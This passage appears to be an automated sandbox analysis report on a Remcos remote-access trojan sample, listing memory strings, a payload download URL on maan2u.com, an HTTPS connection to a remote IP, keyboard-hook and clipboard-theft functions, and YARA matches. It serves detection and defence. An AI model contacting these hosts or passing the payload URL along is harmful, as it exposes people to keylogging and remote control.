memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EBF2000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402765851.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1450958581.000000007F192000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EB73000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1439132054.0000000020A5A000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 00000007.00000002.1542737572.0000000020A30000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000002.1626895029.0000000020B19000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/COMODOCodeSigningCA2.crl0r
Source: SEPTobn3BR.exe, 00000000.00000003.1403402097.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EBF2000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1441622729.0000000021CD0000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402765851.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1450958581.000000007F192000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EB73000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1403402097.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1439132054.0000000020A09000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 00000007.00000003.1519315775.0000000000842000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 00000007.00000002.1542737572.0000000020A30000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.1597805485.00000000007BE000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.1597805485.0000000000816000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0
Source: SEPTobn3BR.exe, 00000000.00000003.1403402097.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EBF2000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1441622729.0000000021CD0000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402765851.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1450958581.000000007F192000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EB73000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1403402097.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1439132054.0000000020A09000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 00000007.00000003.1519315775.0000000000842000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 00000007.00000002.1542737572.0000000020A30000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.1597805485.00000000007BE000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.1597805485.0000000000816000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: SEPTobn3BR.exe, 00000000.00000003.1403402097.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EBF2000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1441622729.0000000021CD0000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402765851.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1450958581.000000007F192000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EB73000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1403402097.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1439132054.0000000020A09000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 00000007.00000003.1519315775.0000000000842000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 00000007.00000002.1542737572.0000000020A30000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.1597805485.00000000007BE000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.1597805485.0000000000816000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: SEPTobn3BR.exe, 00000000.00000003.1403402097.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EBF2000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1441622729.0000000021CD0000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402765851.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1450958581.000000007F192000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EB73000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1403402097.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1439132054.0000000020A09000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 00000007.00000003.1519315775.0000000000842000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 00000007.00000002.1542737572.0000000020A30000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.1597805485.00000000007BE000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.1597805485.0000000000816000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: SEPTobn3BR.exe, 00000000.00000003.1403402097.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EBF2000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1441622729.0000000021CD0000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402765851.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1450958581.000000007F192000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EB73000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1403402097.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1439132054.0000000020A09000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 00000007.00000003.1519315775.0000000000842000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 00000007.00000002.1542737572.0000000020A30000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.1597805485.00000000007BE000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.1597805485.0000000000816000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: SEPTobn3BR.exe, 00000000.00000003.1403402097.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EBF2000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1441622729.0000000021CD0000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402765851.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1450958581.000000007F192000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EB73000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1403402097.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1439132054.0000000020A09000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 00000007.00000003.1519315775.0000000000842000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 00000007.00000002.1542737572.0000000020A30000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.1597805485.00000000007BE000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.1597805485.0000000000816000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#
Source: SEPTobn3BR.exe, 00000000.00000003.1403402097.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EBF2000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1441622729.0000000021CD0000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402765851.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1450958581.000000007F192000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EB73000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1403402097.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1439132054.0000000020A09000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 00000007.00000003.1519315775.0000000000842000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 00000007.00000002.1542737572.0000000020A30000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.1597805485.00000000007BE000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.1597805485.0000000000816000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: colorcpl.exe	String found in binary or memory: http://geoplugin.net/json.gp
Source: SEPTobn3BR.exe, 00000000.00000002.1449264347.000000007E8E0000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmp, colorcpl.exe, 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, colorcpl.exe, 0000000A.00000002.1526920917.0000000002990000.00000040.00000400.00020000.00000000.sdmp, colorcpl.exe, 0000000D.00000002.1606949388.0000000002C00000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gp/C
Source: colorcpl.exe, 00000005.00000003.1465318188.00000000311F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gp4
Source: colorcpl.exe, 00000005.00000003.2755366865.00000000311F5000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 00000005.00000003.1465318188.00000000311F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gp=
Source: colorcpl.exe, 00000005.00000002.3812571420.00000000311CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gpSystem32
Source: colorcpl.exe, 00000005.00000002.3812685840.00000000311F5000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 00000005.00000003.2755366865.00000000311F5000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 00000005.00000003.1465318188.00000000311F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gpl
Source: SEPTobn3BR.exe, 00000000.00000003.1403402097.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EBF2000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1441622729.0000000021CD0000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402765851.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1450958581.000000007F192000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EB73000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1403402097.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1439132054.0000000020A09000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 00000007.00000003.1519315775.0000000000842000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 00000007.00000002.1542737572.0000000020A30000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.1597805485.00000000007BE000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.1597805485.0000000000816000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EBF2000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402765851.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1450958581.000000007F192000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EB73000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1439132054.0000000020A5A000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 00000007.00000002.1542737572.0000000020A30000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000002.1626895029.0000000020B19000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0$
Source: SEPTobn3BR.exe, 00000000.00000003.1403402097.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EBF2000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1441622729.0000000021CD0000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402765851.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1450958581.000000007F192000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EB73000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1403402097.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1439132054.0000000020A09000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 00000007.00000003.1519315775.0000000000842000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 00000007.00000002.1542737572.0000000020A30000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.1597805485.00000000007BE000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.1597805485.0000000000816000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: SEPTobn3BR.exe, 00000000.00000003.1403402097.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EBF2000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1441622729.0000000021CD0000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402765851.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1450958581.000000007F192000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EB73000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1403402097.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1439132054.0000000020A09000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 00000007.00000003.1519315775.0000000000842000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 00000007.00000002.1542737572.0000000020A30000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.1597805485.00000000007BE000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.1597805485.0000000000816000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: SEPTobn3BR.exe, 00000000.00000003.1403402097.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EBF2000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1441622729.0000000021CD0000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402765851.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1450958581.000000007F192000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EB73000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1403402097.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1439132054.0000000020A09000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 00000007.00000003.1519315775.0000000000842000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 00000007.00000002.1542737572.0000000020A30000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.1597805485.00000000007BE000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.1597805485.0000000000816000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: SEPTobn3BR.exe, 00000000.00000003.1403402097.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EBF2000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1441622729.0000000021CD0000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402765851.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1450958581.000000007F192000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EB73000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1403402097.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1439132054.0000000020A09000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 00000007.00000003.1519315775.0000000000842000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 00000007.00000002.1542737572.0000000020A30000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.1597805485.00000000007BE000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.1597805485.0000000000816000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: SEPTobn3BR.exe, 00000000.00000003.1403402097.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EBF2000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1441622729.0000000021CD0000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402765851.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1450958581.000000007F192000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EB73000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1403402097.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1439132054.0000000020A09000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 00000007.00000003.1519315775.0000000000842000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 00000007.00000002.1542737572.0000000020A30000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.1597805485.00000000007BE000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.1597805485.0000000000816000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0C
Source: SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EBF2000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402765851.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1450958581.000000007F192000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EB73000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1439132054.0000000020A5A000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 00000007.00000002.1542737572.0000000020A30000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000002.1626895029.0000000020B19000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pmail.com0
Source: SEPTobn3BR.exe, 00000000.00000003.1403402097.0000000021B11000.00000004.00000020.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EBF2000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1441622729.0000000021CD0000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402765851.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1450958581.000000007F192000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1402447642.000000007EB73000.00000004.00001000.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000003.1403402097.0000000021B6E000.00000004.00000020.00020000.00000000.sdmp, SEPTobn3BR.exe, 00000000.00000002.1439132054.0000000020A09000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 00000007.00000003.1519315775.0000000000842000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 00000007.00000002.1542737572.0000000020A30000.00000004.00001000.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.1597805485.00000000007BE000.00000004.00000020.00020000.00000000.sdmp, Emxwenem.PIF, 0000000B.00000003.1597805485.0000000000816000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: SEPTobn3BR.exe, 00000000.00000002.1420164294.0000000000628000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.maan2u.com/
Source: SEPTobn3BR.exe, 00000000.00000002.1439132054.0000000020ACD000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.maan2u.com/docs/233_Emxwenem
Source: SEPTobn3BR.exe, 00000000.00000002.1420164294.000000000060A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.maan2u.com/docs/233_Emxwenemixg
Source: SEPTobn3BR.exe, 00000000.00000002.1420164294.000000000060A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.maan2u.com/docs/233_Emxwenemixg5
Source: SEPTobn3BR.exe, 00000000.00000002.1420164294.0000000000633000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.maan2u.com/docs/233_Emxwenemixg8
Source: SEPTobn3BR.exe, 00000000.00000002.1420164294.0000000000633000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.maan2u.com:443/docs/233_Emxwenemixg

Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709

Source: unknown

HTTPS traffic detected: 103.82.231.117:443 -> 192.168.2.7:49710 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to register a low level keyboard hook

Source: C:\Windows\SysWOW64\colorcpl.exe

Code function: 5_2_03099340 SetWindowsHookExA 0000000D,0309932C,00000000

5_2_03099340

Installs a global keyboard hook

Source: C:\Windows\SysWOW64\colorcpl.exe

Windows user hook set: 0 keyboard low level C:\Windows\SysWOW64\colorcpl.exe

Jump to behavior

Source: C:\Windows\SysWOW64\colorcpl.exe

Code function: 5_2_0309A65A OpenClipboard,GetClipboardData,CloseClipboard,

5_2_0309A65A

Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 5_2_030A4EC1 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,		5_2_030A4EC1
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 10_2_029A4EC1 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,		10_2_029A4EC1

Source: C:\Windows\SysWOW64\colorcpl.exe

Code function: 5_2_0309A65A OpenClipboard,GetClipboardData,CloseClipboard,

5_2_0309A65A

Source: C:\Windows\SysWOW64\colorcpl.exe

Code function: 5_2_03099468 GetForegroundWindow,GetWindowThreadProcessId,GetKeyboardLayout,GetKeyState,GetKeyboardState,ToUnicodeEx,

5_2_03099468

Source: Yara match	File source: 0.2.SEPTobn3BR.exe.2b80000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: Process Memory Space: SEPTobn3BR.exe PID: 7648, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: colorcpl.exe PID: 7920, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: colorcpl.exe PID: 3232, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: colorcpl.exe PID: 6756, type: MEMORYSTR

E-Banking Fraud

Yara detected Remcos RAT

Source: Yara match	File source: 13.2.colorcpl.exe.2c00000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.colorcpl.exe.3090000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.colorcpl.exe.2990000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.colorcpl.exe.2990000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.colorcpl.exe.3090000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.colorcpl.exe.2c00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SEPTobn3BR.exe.2b80000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.3812934475.00000000313BF000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1623286615.000000001ECB8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1606949388.0000000002C00000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3812571420.00000000311A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1526792578.0000000000758000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3812685840.00000000311F0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2755366865.00000000311F0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1449264347.000000007E8E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3812571420.00000000311CA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1526920917.0000000002990000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SEPTobn3BR.exe PID: 7648, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: colorcpl.exe PID: 7920, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: colorcpl.exe PID: 3232, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: colorcpl.exe PID: 6756, type: MEMORYSTR
